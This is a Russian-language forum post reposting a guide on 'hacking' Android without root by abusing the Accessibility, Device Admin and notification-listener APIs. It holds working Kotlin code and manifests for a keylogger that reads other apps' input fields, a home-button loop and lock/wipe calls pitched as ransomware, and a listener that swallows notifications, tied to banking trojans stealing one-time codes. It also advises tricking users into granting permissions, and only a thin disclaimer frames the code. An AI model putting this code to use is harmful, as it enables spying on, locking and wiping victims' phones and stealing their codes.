Undush

5 способов взломать Android без получения root доступа

В теме 1 сообщение

Ребятки нашел очень достойный гайд, написан не мной, но думаю многим пригодится!!

Кро­ме тра­дици­онных раз­решений, в Android есть три мета‑раз­решения, которые откры­вают дос­туп к весь­ма опас­ным API, поз­воля­ющим в пря­мом смыс­ле зах­ватить кон­троль над устрой­ством. В этой статье мы научим­ся их исполь­зовать, что­бы прог­рам­мно нажимать кноп­ки смар­тфо­на, перех­ватывать уве­дом­ления, извле­кать текст из полей вво­да дру­гих при­ложе­ний и сбра­сывать нас­трой­ки смар­тфо­на.

Замечу, что эта статья написана только для образовательных целей. Мы никого ни к чему не призываем, только в целях ознакомления! Автор не несёт ответственности за ваши действия!

API которые применяются для взлома андроид.

  1. Ад­минис­три­рова­ние устрой­ства — API, пред­назна­чен­ный для кор­поратив­ных при­ложе­ний. Поз­воля­ет сбра­сывать и уста­нав­ливать пароль экра­на бло­киров­ки, сбра­сывать смар­тфон до завод­ских нас­тро­ек и уста­нав­ливать пра­вила минималь­ной слож­ности пароля. Одна из осо­бен­ностей API — зап­рещено уда­лять при­ложе­ния, получив­шие пра­ва адми­нис­тра­тора, чем с радостью поль­зуют­ся авто­ры злов­редных при­ложе­ний.
  2. Accessibility — API для реали­зации при­ложе­ний, ори­енти­рован­ных на людей с огра­ничен­ными воз­можнос­тями. Фак­тичес­ки API поз­воля­ет соз­давать аль­тер­натив­ные спо­собы управле­ния устрой­ством и поэто­му откры­вает поис­тине огромный прос­тор для зло­упот­ребле­ния. С его помощью мож­но получить дос­туп к содер­жимому экра­на прак­тичес­ки любого при­ложе­ния, нажимать кноп­ки интерфей­са и прог­рам­мно нажимать кла­виши самого смар­тфо­на. Но есть и спо­соб защиты: раз­работ­чик при­ложе­ния может пря­мо ука­зать, что опре­делен­ные эле­мен­ты интерфей­са при­ложе­ния будут недос­тупны для сер­висов Accessibility.
  3. Уве­дом­ления — API, поз­воля­ющий получить дос­туп ко всем уве­дом­лени­ям, которые отоб­ража­ются в панели уве­дом­лений. С помощью это­го API при­ложе­ние может про­читать всю информа­цию об уве­дом­лении, вклю­чая заголо­вок, текст и содер­жимое кно­пок управле­ния, нажать на эти кноп­ки и даже смах­нуть уве­дом­ление. API поль­зует­ся осо­бой популяр­ностью сре­ди раз­работ­чиков все­воз­можных бан­ков­ских тро­янов, с помощью которо­го они могут читать коды под­твержде­ния и сма­хивать пре­дуп­режда­ющие сооб­щения от бан­ков.

По­лучив дос­туп ко всем этим API, злов­редное при­ложе­ние смо­жет сде­лать со смар­тфо­ном прак­тичес­ки все что угод­но. Имен­но поэто­му для их защиты исполь­зуют­ся не тра­дици­онные зап­росы пол­номочий, на которые поль­зователь может машиналь­но отве­тить «Да», а скры­тый глу­боко в нас­трой­ках интерфейс, который при акти­вации покажет угро­жающее сооб­щение. Все, что может сде­лать при­ложе­ние, что­бы получить нуж­ное пол­номочие, — это переб­росить поль­зовате­ля в окно нас­тро­ек, пос­ле чего тот дол­жен будет най­ти нуж­ное при­ложе­ние, вклю­чить нап­ротив него перек­лючатель и сог­ласить­ся с пре­дуп­режда­ющим сооб­щени­ем.

Зас­тавить поль­зовате­ля дать раз­решение на исполь­зование этих API мож­но обма­ном. Зачас­тую злов­реды при­киды­вают­ся легитим­ными при­ложе­ниями, которым раз­решение нуж­но для работы клю­чевой фун­кци­ональ­нос­ти. К при­меру, это может быть при­ложе­ние для ведения жур­нала уве­дом­лений или при­ложе­ние для аль­тер­натив­ной жес­товой навига­ции (такому при­ложе­нию нужен сер­вис Accessibility для нажатия кно­пок навига­ции). Так­же мож­но исполь­зовать ата­ку Cloak & Dagger, что­бы перек­рыть окно нас­тро­ек дру­гим безобид­ным окном.

1. Нажатие кнопок смартфона

Прос­тей­ший сер­вис Accessibility может выг­лядеть так (код на Kotlin):

 

class AccessService: AccessibilityService() {

companion object {

var service: AccessibilityService? = null

// Метод для программного нажатия кнопки «Домой»

fun pressHome() {

service?.performGlobalAction(GLOBAL_ACTION_HOME)

}

}

override fun onServiceConnected() {

service = this

super.onServiceConnected()

}

override fun onUnbind(intent: Intent?): Boolean {

service = null

return super.onUnbind(intent)

}

override fun onInterrupt() {}

override fun onAccessibilityEvent(event: AccessibilityEvent) {}

}

Что­бы сис­тема узна­ла о нашем сер­висе, его необ­ходимо объ­явить в AndroidManifest.xml:

 

<service

android:name=".AccessService"

android:label="@string/app_name"

android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">

<intent-filter>

<action android:name="android.accessibilityservice.AccessibilityService" />

</intent-filter>

<meta-data

android:name="android.accessibilityservice"

android:resource="@xml/accessibility_service_config" />

</service>

Это опи­сание ссы­лает­ся на кон­фигура­цион­ный файл accessibility_service_config.xml, который дол­жен быть опре­делен в катало­ге xml про­екта. Для нашего слу­чая дос­таточ­но будет такого кон­фига:

 

<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"

android:canRetrieveWindowContent="false"

android:description="@string/accessibility_description" />

Пос­ле того как поль­зователь вклю­чит наш сер­вис Accessibility в окне «Нас­трой­ки → Спец. воз­можнос­ти», сис­тема авто­мати­чес­ки запус­тит сер­вис и мы смо­жем выпол­нить фун­кцию pressHome(), что­бы нажать кноп­ку «Домой»:

 

// Если service не null — значит, система успешно запустила сервис

if (AccessService.service != null) {

AccessService.pressHome()

}

Од­ной лишь толь­ко этой фун­кци­ональ­нос­ти дос­таточ­но, что­бы реали­зовать Ransomware, который будет вызывать фун­кцию pressHome() в цик­ле и бес­конеч­но воз­вра­щать поль­зовате­ля на домаш­ний экран, не давая нор­маль­но исполь­зовать устрой­ство.

96d192e2477fe06bd3f2e.jpg
LOCKNET

Од­нако нас­тоящая мощь Accessibility кро­ется не в нажатии кно­пок навига­ции, а в воз­можнос­ти кон­тро­лиро­вать дру­гие при­ложе­ния.

2. Перехват содержимого полей ввода андроид

API Accessibility был соз­дан для людей с огра­ничен­ными воз­можнос­тями. С его помощью мож­но, нап­ример, соз­дать при­ложе­ние, которое будет зачиты­вать все над­писи интерфей­са и поз­волит нажимать эле­мен­ты интерфей­са голосом. Все это дос­тижимо бла­года­ря тому, что Accessibility дает пол­ный дос­туп к интерфей­су при­ложе­ний в виде дерева эле­мен­тов: мож­но прой­ти по нему и выпол­нить над эле­мен­тами опре­делен­ные опе­рации.

Что­бы научить наше при­ложе­ние «ходить» по интерфей­су при­ложе­ний, мы дол­жны изме­нить опи­сание сер­виса в его нас­трой­ках. Сле­дующий кон­фиг дает пол­ный дос­туп к интерфей­су любого при­ложе­ния:

 

<accessibility-service

xmlns:android="http://schemas.android.com/apk/res/android"

android:accessibilityEventTypes="typeAllMask"

android:accessibilityFeedbackType="feedbackAllMask"

android:accessibilityFlags="flagDefault"

android:canRequestEnhancedWebAccessibility="true"

android:notificationTimeout="100"

android:packageNames="@null"

android:canRetrieveWindowContent="true"

android:canRequestTouchExplorationMode="true"

/>

Те­перь напишем прос­тей­ший кей­лог­гер. Для это­го добавим в код сер­виса такую фун­кцию:

 

override fun onAccessibilityEvent(event: AccessibilityEvent) {

if (event.source?.className == "android.widget.EditText") {

Log.d("EditText text: ", event.source?.text.toString())

}

}

Те­перь все, что поль­зователь вве­дет в любое поле вво­да любого при­ложе­ния, будет выведе­но в кон­соль.

API Accessibility дос­таточ­но раз­вит и поз­воля­ет переме­щать­ся по дереву эле­мен­тов, копиро­вать текст эле­мен­тов, встав­лять в них текст и выпол­нять мно­жес­тво дру­гих дей­ствий. Это дей­стви­тель­но опас­ный инс­тру­мент, поэто­му Android будет исполь­зовать любую воз­можность, что­бы отоз­вать пра­ва Accessibility у при­ложе­ния. Нап­ример, это про­изой­дет при пер­вом же падении сер­виса. Кро­ме того, Android пре­дос­тавля­ет раз­работ­чикам спо­соб защитить кри­тичес­кие ком­понен­ты при­ложе­ния с помощью фла­га importantForAccessibility:

 

<LinearLayout

android:importantForAccessibility="noHideDescendants"

... />

Этот код скро­ет лей­аут и всех его потом­ков от сер­висов Accessibility.

То же самое в коде:

 

view.setImportantForAccessibility(IMPORTANT_FOR_ACCESSIBILITY_NO_HIDE_DESCENDANTS);

3. Дамп дерева UI

Есть удоб­ный спо­соб сде­лать дамп UI любого при­ложе­ния таким, каким его видит сер­вис Accessibility:

 

$ adb shell uiautomator dump

$ adb pull /sdcard/window_dump.xml

3021d2a4bd44aa6ec577a.png
LOCKNET

4. Блокировка устройства и защита от удаления

Пе­рей­дем к API адми­нис­три­рова­ния устрой­ства. Как уже было ска­зано, этот API пред­назна­чен для уда­лен­ного управле­ния защитой устрой­ств: уста­нов­ки пароля, политик слож­ности пароля и уда­лен­ного сбро­са устрой­ства. Исполь­зовать его не труд­нее, чем сер­вис Accessibility, но сам прин­цип отли­чает­ся.

Пер­вое, что мы дол­жны сде­лать, — соз­дать ресивер, который будет выз­ван пос­ле вклю­чения/вык­лючения прав адми­нис­тра­тора. Добав­лять в ресивер какой‑то осмыслен­ный код необя­затель­но — глав­ное, что­бы он был:

 

class DeviceAdminPermissionReceiver : DeviceAdminReceiver() {

override fun onDisabled(aContext: Context, aIntent: Intent) {

}

}

Да­лее ресивер необ­ходимо добавить в манифест:

 

<receiver

android:name=".DeviceAdminPermissionReceiver"

android:label="@string/app_name"

android:permission="android.permission.BIND_DEVICE_ADMIN">

<meta-data

android:name="android.app.device_admin"

android:resource="@xml/admin_policies" />

<intent-filter>

<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />

</intent-filter>

</receiver>

Эта запись ссы­лает­ся на кон­фигура­цион­ный файл xml/admin_policies.xml. Соз­даем его и добав­ляем сле­дующие стро­ки:

 

<device-admin>

<uses-policies>

<reset-password />

<force-lock />

<wipe-data />

</uses-policies>

</device-admin>

Кон­фиг говорит, что наше при­ложе­ние может сбра­сывать и менять пароль экра­на бло­киров­ки, вык­лючать экран, бло­кируя его паролем, и сбра­сывать устрой­ство до завод­ских нас­тро­ек.

Пос­ле того как поль­зователь даст раз­решение на исполь­зование прав адми­нис­тра­тора в раз­деле «Нас­трой­ки → Безопас­ность → При­ложе­ния адми­нис­тра­тора устрой­ства», мы можем про­верить, дей­стви­тель­но ли мы получи­ли эти пра­ва, и вос­поль­зовать­ся ими:

 

// Функция для определения наличия прав

fun checkAdminPermission() {

val adminComponent = ComponentName(this, DeviceAdminPermissionReceiver::class.java)

val policyManager = getSystemService(Context.DEVICE_POLICY_SERVICE) as DevicePolicyManager

return policyManager.isAdminActive(adminComponent))

}

val policyManager = getSystemService(Context.DEVICE_POLICY_SERVICE) as DevicePolicyManager

// Блокируем устройство и принудительно запрашиваем пароль

policyManager.lockNow()

// Сбрасываем устройство до заводских настроек

policyManager.wipeData(0)

// Меняем пароль экрана блокировки (не работает в Android 7+)

policyManager.resetPassword("1234", 0)

Об­рати вни­мание, что мы можем заб­локиро­вать устрой­ство и даже сбро­сить его до завод­ских нас­тро­ек, но начиная с Android 7 не име­ем пра­ва поменять текущий пароль на экра­не бло­киров­ки.

Ес­ли быть более точ­ным, текущий пароль в сов­ремен­ных устрой­ствах может изме­нять толь­ко при­ложе­ние со ста­тусом device owner. Есть лишь два спо­соба получить такой ста­тус:

  • ус­тановить при­ложе­ние‑адми­нис­тра­тор на девс­твен­но чис­тое устрой­ство с помощью QR-кода. Для это­го есть спе­циаль­ный API, которо­го мы не будем касать­ся в этой статье;
  • наз­начить при­ложе­ние device owner’ом с помощью ADB или прав root. Для это­го нуж­но выпол­нить такую коман­ду:

 

$ dpm set-device-owner com.example.app/.DeviceAdminPermissionReceiver

Но, даже имея воз­можность толь­ко сбра­сывать и бло­киро­вать устрой­ство, мы можем написать при­ложе­ние, которое будет тре­бовать у поль­зовате­ля выкуп, угро­жая унич­тожить все дан­ные, или бло­киро­вать устрой­ство в цик­ле. При этом поль­зователь не смо­жет прос­то так взять и уда­лить наше при­ложе­ние, сна­чала при­дет­ся отоз­вать у него пра­ва адми­нис­тра­тора.

730c6fb4bd504bb2e86e8.jpg
LOCKNET

5. Перехват и смахивание уведомлений

Мо­жет показать­ся, что перех­ват уве­дом­лений не столь уж лакомый кусок для злов­редов, но толь­ко вду­май­ся: в сов­ремен­ных устрой­ствах через уве­дом­ления про­ходит мас­са кон­фиден­циаль­ной информа­ции: СМС (вклю­чая одно­разо­вые коды под­твержде­ния), сооб­щения мес­сен­дже­ров, заголов­ки писем и часть их содер­жимого, все­воз­можные сер­висные сооб­щения.

Как и в слу­чае Accessibility API, для перех­вата уве­дом­лений нужен сер­вис, которым в ито­ге будет управлять сама сис­тема. Напишем код сер­виса:

 

class NLService: NotificationListenerService() {

private var connected = false

override fun onListenerConnected() {

connected = true

super.onListenerConnected()

}

override fun onListenerDisconnected() {

connected = false

super.onListenerDisconnected()

}

override fun onNotificationPosted(sbn: StatusBarNotification) {

cancelNotification(sbn.key)

}

override fun onNotificationRemoved(sbn: StatusBarNotification?) {

}

}

Сер­вис име­ет четыре основных кол­бэка. Два вызыва­ются при под­клю­чении/отклю­чении сер­виса (это обыч­но про­исхо­дит при запус­ке и оста­нов­ке при­ложе­ния, а так­же при вклю­чении и вык­лючении дос­тупа к уве­дом­лени­ям). Еще два нуж­ны для обра­бот­ки появ­ления/исчезно­вения уве­дом­лений.

Наш прос­тей­ший сер­вис при появ­лении уве­дом­ления сра­зу сма­хива­ет его, а при исчезно­вении не дела­ет ничего. Одна­ко мы мог­ли бы, нап­ример, запом­нить заголо­вок, текст, а так­же пакет, которо­му при­над­лежит уве­дом­ление:

 

val extras = sbn.notification.extras

val title = extras.getCharSequence(Notification.EXTRA_TITLE)

val text = extras.getCharSequence(Notification.EXTRA_TEXT)

val package = sbn.packageName

Бан­ков­ские тро­яны обыч­но смот­рят на пакет при­ложе­ния, срав­нивая с базой бан­ков­ских кли­ентов, а так­же рас­парси­вают заголо­вок и текст сооб­щения в поис­ках спе­цифич­ных для сооб­щений бан­ков строк. Далее уве­дом­ление прог­рам­мно сма­хива­ется.

Что­бы сер­вис зарабо­тал, его необ­ходимо объ­явить в манифес­те:

 

<service

android:name=".NLService"

android:label="@string/app_name"

android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">

<intent-filter>

<action android:name="android.service.notification.NotificationListenerService" />

</intent-filter>

</service>

Пос­ле вклю­чения в нас­трой­ках (При­ложе­ния и уве­дом­ления → Спе­циаль­ный дос­туп → Дос­туп к уве­дом­лени­ям) сер­вис нач­нет работать.

c244026c4f5271a64ba47.jpg
LOCKNET

Итоги

Не­дур­но, не прав­да ли? Написав пару десят­ков строк кода, мы научи­лись прог­рам­мно нажимать кноп­ки смар­тфо­на, перех­ватывать уве­дом­ления, извле­кать текст из полей вво­да дру­гих при­ложе­ний и даже сбра­сывать нас­трой­ки смар­тфо­на. Все это выг­лядит дей­стви­тель­но страш­но, осо­бен­но в срав­нении с iOS. Но сог­ласись, далеко не так страш­но, как в слу­чае с нас­толь­ными Windows, Linux и macOS, где для получе­ния пол­ного кон­тро­ля над устрой­ством иног­да дос­таточ­но все­го лишь зас­тавить поль­зовате­ля нажать «Да» в одном‑единс­твен­ном диало­ге.

 

 

Поделиться сообщением


Ссылка на сообщение

Для публикации сообщений создайте учётную запись или авторизуйтесь

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!

Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.

Войти